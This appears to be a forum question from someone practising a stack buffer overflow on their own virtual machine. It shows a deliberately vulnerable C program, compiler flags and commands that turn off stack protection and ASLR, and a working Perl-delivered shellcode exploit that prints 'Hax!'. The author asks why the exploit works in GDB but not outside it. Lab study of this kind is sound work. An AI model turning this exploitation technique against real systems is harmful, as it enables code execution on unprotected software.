I read that Stack is located Buffer Overflows a long time ago, but decided to create a virtual machine and actually see them in practice.
The following code was a vulnerable program:
#include<string.h> void go(char *data){ char name[64]; strcpy(name, data); } int main(int argc, char **argv){ go(argv[1]); }
It was compiled using the -zexecstack and -fno-stack-protector options in GCC, so that both allow code execution on the stack and disable the built-in protection against program overflow (value "canary").
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
Then I used GDB to find out the position of the name cell on the stack and found the following address: 0x7fffffffdc10
Since my virtual machine has the latest version of Linux, I had to disable ASLR (randomization of the address space layout) by running: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" or sudo sysctl -w kernel.randomize_va_space=0 .
The shellcode was taken from an article I found on the Internet about Stack Smashing, and was loaded into the program through a Perl script:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
Being the first 45 bytes of shellcode (presumably to write βHax!β On the screen), some extra 27 βAβ bytes to get the pointer in the correct position and finally the starting address of the payload at the small end.
The problem is this:
When starting a program in GDB via:
gdb vuln >run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
I can run shellcode and "Hax!" exit.
When trying to run a program outside of GDB, for example
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
I get an Illegal instruction (core dumped) error instead of "Hax!" . exit.
I banged my head, trying to figure out what was the reason for this different behavior. GDB seems to disable ASLR by default, however I also disabled it via sysctl in the kernel. Can the kernel ignore the kernel.randomize_va_space variable? Or maybe the memory address is different, even if it's static, on GDB and on the real process? Or maybe the real process actually launches the shellcode, but is something wrong with the real process that GDB ignores / bypasses?
Any ideas on what could be causing?